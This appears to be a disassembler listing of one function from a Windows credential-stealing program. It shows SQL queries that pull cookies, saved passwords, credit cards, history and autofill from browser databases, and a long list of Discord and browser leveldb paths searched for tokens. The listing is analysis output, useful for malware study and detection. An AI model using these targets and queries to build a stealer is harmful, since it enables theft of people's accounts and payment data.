Function at 0x60670d
Capabilities:
Reference sql statements

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x538
call fcn.0050baa0
mov rcx, qword [0x0062bc60]
lea rdx, str.HELLO
lea r12, [rsp + 0x230]
call fcn.005fecb0
mov rcx, rax
call fcn.005fc1f0
mov rcx, r12
lea rdx, [0x0066e6c0]
call fcn.0040600c
mov rcx, r12
call fcn.0059a0f0
mov ebx, eax
mov rcx, r12
call fcn.00405940
test bl, bl
jne 0x60678c
mov rcx, r12
lea rdx, [0x0066e6c0]
call fcn.0040600c
mov rcx, r12
call fcn.00597780
mov rcx, r12
call fcn.00405940
call fcn.0040264c
lea rcx, [rsp + 0x158]
call fcn.005c40b0
lea rax, str.SELECT_host_key__name__encrypted_value_FROM_cookies
mov qword [rsp + 0x180], 0
mov rbx, qword [0x0066e5b8]
mov qword [rsp + 0x198], rax
lea rax, str.SELECT_action_url__username_value__password_value_FROM_logins
mov qword [rsp + 0x1a0], rax
lea rax, str.SELECT_name_on_card__expiration_month__expiration_year__card_number_encrypted_FROM_credit_cards_WHERE_name_on_card____AND_card_number_encrypted__
mov qword [rsp + 0x1a8], rax
lea rax, str.SELECT__FROM_urls
mov qword [rsp + 0x1b0], rax
lea rax, str.SELECT__FROM_autofill
mov qword [rsp + 0x1b8], rax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x188], 0
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x28], rax
lea rax, [0x0066e5a8]
lea r15, [rsp + 0x1c0]
cmp rbx, rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x20], rax
je 0x606b70
lea rdx, [rbx + 0x20]
mov rcx, r15
call fcn.005ccf90
mov rcx, qword [rsp + 0x28]
mov rdx, r15
call fcn.005d8360
lea r14, [rsp + 0xd8]
mov rdx, qword [rsp + 0x20]
mov rcx, r14
call fcn.005d8360
mov rdx, r14
mov rcx, r12
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 0
call fcn.0040600c
mov rcx, r12
call fcn.0059a0f0
mov edi, eax
mov rcx, r12
call fcn.00405940
test dil, dil
je 0x606b39
lea r8, str.Local_State
mov rdx, r14
mov rcx, r12
call fcn.005ff440
lea rax, [rsp + 0xf8]
mov rdx, r12
mov rcx, rax
mov qword [rsp + 0x20], rax
call fcn.00404bce
mov rcx, r12
call fcn.005d5f80
mov rdx, r14
mov rcx, r12
call fcn.0040600c
lea r13, [rsp + 0x90]
mov rdx, r12
mov rcx, r13
call fcn.0059c7b0
mov rcx, r12
lea rbp, [rsp + 0x70]
lea rsi, [rsp + 0x6f]
call fcn.00405940
mov rdx, r13
mov rcx, r12
lea rdi, [rsp + 0x80]
call fcn.005a99c0
mov rdx, r12
mov rcx, rbp
call fcn.005a9810
lea r8, [rsp + 0x238]
mov rcx, r8
mov qword [rsp + 0x30], r8
call fcn.00405ce8
mov rdx, r13
mov rcx, r12
lea r13, [rsp + 0x118]
call fcn.005a99c0
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 0
mov rcx, r8
call fcn.00405ce8
mov rdx, rdi
mov rcx, rbp
call fcn.005a3220
test al, al
je 0x606a40
mov rcx, rbp
call fcn.00539eb0
mov rcx, r12
mov rdx, rax
call fcn.005a18d0
mov r8, rsi
mov rdx, r12
mov rcx, r13
call fcn.0059ed80
xor r8d, r8d
lea rdx, str.Profile
mov rcx, r13
call fcn.00546cc0
inc rax
je 0x6069e3
lea rcx, [rsp + 0xa0]
mov rdx, r13
jmp 0x606a39
xor r8d, r8d
lea rdx, str.Default
mov rcx, r13
call fcn.00546cc0
inc rax
jne 0x6069d6
xor r8d, r8d
lea rdx, str.Opera
mov rcx, r14
call fcn.00546cc0
inc rax
jne 0x606a2e
mov rcx, r13
call fcn.005d5f80
mov rcx, r12
call fcn.00405940
mov rcx, rbp
call fcn.0059c7c0
jmp 0x60698b
lea rcx, [rsp + 0xa0]
mov rdx, r14
call fcn.005d26c0
jmp 0x606a11
lea rcx, [rsp + 0x88]
call fcn.00405ce8
lea rcx, [rsp + 0x78]
call fcn.00405ce8
lea rcx, [rsp + 0x98]
call fcn.00405ce8
lea rdx, [rsp + 0xa0]
mov rcx, r13
call fcn.005d27e0
lea rbp, [rsp + 0x130]
mov rdx, qword [rsp + 0x20]
mov rcx, rbp
call fcn.005d8360
mov rdx, qword [rsp + 0x28]
mov rcx, r12
call fcn.005d8360
mov rax, qword [rsp + 0x118]
mov rdx, rbp
lea rcx, [rsp + 0x268]
mov qword [rsp + 0x118], 0
lea rbp, [rsp + 0x250]
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x258], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x260], rax
call fcn.005d8220
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x150]
mov r8, r12
call fcn.005ec180
mov rcx, rbp
call fcn.00406142
mov rcx, r12
call fcn.005d5f80
mov rcx, r13
call fcn.00406142
mov rcx, qword [rsp + 0x20]
call fcn.005d5f80
lea rcx, [rsp + 0xa0]
call fcn.00406120
mov rcx, r14
call fcn.005d5f80
mov rcx, qword [rsp + 0x28]
call fcn.005d5f80
mov rcx, r15
call fcn.0040596c
mov rcx, rbx
call fcn.005fb0d0
mov rbx, rax
jmp 0x606821
lea rdx, [0x00615b28]
mov rcx, r15
call fcn.00406776
jmp 0x606c5e
mov rcx, qword [rsp + 0x20]
lea rdx, str.dQw4w9WgXcQ:___
call fcn.00406776
lea r8, str.discordLocal_Storageleveldb
mov rcx, r12
lea rdx, [0x0066e720]
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x208], 0
mov qword [rsp + 0x210], 0
call fcn.005ff440
lea rcx, [rsp + 0x250]
lea r8, str.discordcanaryLocal_Storageleveldb
lea rdx, [0x0066e720]
call fcn.005ff440
lea rcx, [rsp + 0x270]
lea r8, str.LightcordLocal_Storageleveldb
lea rdx, [0x0066e720]
call fcn.005ff440
lea rcx, [rsp + 0x290]
lea r8, str.discordptbLocal_Storageleveldb
lea rdx, [0x0066e720]
call fcn.005ff440
lea rcx, [rsp + 0x2b0]
lea r8, str.Opera_SoftwareOpera_StableLocal_Storageleveldb
lea rdx, [0x0066e720]
call fcn.005ff440
lea rcx, [rsp + 0x2d0]
lea r8, str.Opera_SoftwareOpera_GX_StableLocal_Storageleveldb
lea rdx, [0x0066e720]
call fcn.005ff440
lea rcx, [rsp + 0x2f0]
lea r8, str.AmigoUser_DataLocal_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea rcx, [rsp + 0x310]
lea r8, str.TorchUser_DataLocal_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea rcx, [rsp + 0x330]
lea r8, str.KometaUser_DataLocal_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea rcx, [rsp + 0x350]
lea r8, str.OrbitumUser_DataLocal_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea rcx, [rsp + 0x370]
lea r8, str.VivaldiUser_DataDefaultLocal_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea rcx, [rsp + 0x390]
lea r8, str.GoogleChrome_SxSUser_DataLocal_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea rcx, [rsp + 0x3b0]
lea r8, str.GoogleChromeUser_DataDefaultLocal_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea rcx, [rsp + 0x3d0]
lea r8, str.GoogleChromeUser_DataProfile_1Local_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea rcx, [rsp + 0x3f0]
lea r8, str.GoogleChromeUser_DataProfile_2Local_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea rcx, [rsp + 0x410]
lea r8, str.GoogleChromeUser_DataProfile_3Local_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea rcx, [rsp + 0x430]
lea r8, str.GoogleChromeUser_DataProfile_4Local_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea rcx, [rsp + 0x450]
lea r8, str.GoogleChromeUser_DataProfile_5Local_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea rcx, [rsp + 0x470]
lea r8, str.Epic_Privacy_BrowserUser_DataLocal_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea rcx, [rsp + 0x490]
lea r8, str.MicrosoftEdgeUser_DataDefaultLocal_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea rcx, [rsp + 0x4b0]
lea r8, str.uCozMediaUranUser_DataDefaultLocal_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea rcx, [rsp + 0x4d0]
lea r8, str.YandexYandexBrowserUser_DataDefaultLocal_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea rcx, [rsp + 0x4f0]
lea r8, str.BraveSoftwareBrave_BrowserUser_DataDefaultLocal_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea rcx, [rsp + 0x510]
lea r8, str.IridiumUser_DataDefaultLocal_Storageleveldb
lea rdx, [0x0066e740]
call fcn.005ff440
lea r14, [rsp + 0x218]
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x40], r12
mov rcx, r14
lea r12, [rsp + 0x230]
mov qword [rsp + 0x48], 0x18
call fcn.004062a6
lea rbx, [rsp + 0x530]
jmp 0x606f5b
sub rbx, 0x20
mov rcx, rbx
call fcn.005d5f80
cmp rbx, r12
jne 0x606f5b
mov rax, qword [rsp + 0x220]
mov rbx, qword [rsp + 0x218]
lea r13, [rsp + 0x118]
lea rbp, [rsp + 0xf8]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], rbx
je 0x6070ee
mov rdx, rbx
mov rcx, r13
call fcn.005d8360
mov rdx, r13
mov rcx, r12
call fcn.0040600c
mov rcx, r12
call fcn.0059a0f0
mov esi, eax
mov rcx, r12
call fcn.00405940
test sil, sil
je 0x6070dd
mov rdx, r13
mov rcx, r12
call fcn.0040600c
mov rdx, r12
mov rcx, rbp
call fcn.0059c7b0
mov rcx, r12
lea rsi, [rsp + 0xb8]
lea rdi, [rsp + 0xd8]
call fcn.00405940
mov rdx, rbp
mov rcx, r12
call fcn.005a99c0
mov rdx, r12
mov rcx, rsi
call fcn.005a9810
lea r8, [rsp + 0x238]
mov rcx, r8
mov qword [rsp + 0x30], r8
call fcn.00405ce8
mov rdx, rbp
mov rcx, r12
call fcn.005a99c0
mov r8, qword [rsp + 0x30]
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 0
mov rcx, r8
call fcn.00405ce8
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x200]
mov qword [rsp + 0x38], rax
mov rdx, rdi
mov rcx, rsi
call fcn.005a3220
test al, al
je 0x6070b6
mov rcx, rsi
call fcn.00539eb0
mov r8, qword [rsp + 0x30]
mov rcx, r12
mov rdx, rax
call fcn.0059ed80
mov rcx, qword [rsp + 0x38]
mov rdx, r12
call fcn.005d2340
mov rcx, r12
call fcn.005d5f80
mov rcx, rsi
call fcn.0059c7c0
jmp 0x607070
lea rcx, [rsp + 0xe0]
call fcn.00405ce8
lea rcx, [rsp + 0xc0]
call fcn.00405ce8
lea rcx, [rsp + 0x100]
call fcn.00405ce8
mov rcx, r13
add rbx, 0x20
call fcn.005d5f80
jmp 0x606f91
lea r14, [rsp + 0x150]
lea r15, [rsp + 0x1c0]
mov rcx, r14
call fcn.0051afd0
jmp 0x6071af
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, r13
call fcn.00402c57
mov rcx, r13
lea rdx, str.machinesrvc.exe
call fcn.005fec30
mov rcx, r13
mov ebx, eax
call fcn.005d5f80
test bl, bl
je 0x607209
mov rcx, qword [0x0062bc60]
lea rdx, [0x00616d07]
call fcn.005fecb0
mov rcx, rax
call fcn.005fc1f0
call fcn.004026d6
mov rcx, r14
call fcn.0051b1d0
jmp 0x607220
mov rcx, r15
call fcn.0051ec10
mov rcx, r15
call fcn.0051e830
call fcn.0040260f
jmp 0x6071ff
mov rcx, r14
call fcn.0051d480
mov rcx, r14
call fcn.0051de30
mov rcx, r14
call fcn.0051bc70
mov rcx, r14
call fcn.0051cac0
mov rcx, r14
call fcn.0051c510
mov rcx, r14
call fcn.0051d300
call fcn.0040566d
call fcn.004050f0
call fcn.00402822
mov rcx, r12
call fcn.00402e89
mov rcx, r12
call fcn.005d5f80
mov rcx, qword [0x0062bc60]
lea rdx, [0x0066e680]
call fcn.005fef20
mov rcx, rax
call fcn.005fc1f0
mov rcx, r15
call fcn.0040618a
lea rcx, [rsp + 0x180]
call fcn.00406120
mov rdx, qword [rsp + 0x160]
mov rcx, r14
call fcn.005ec2b0
xor eax, eax
add rsp, 0x538
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret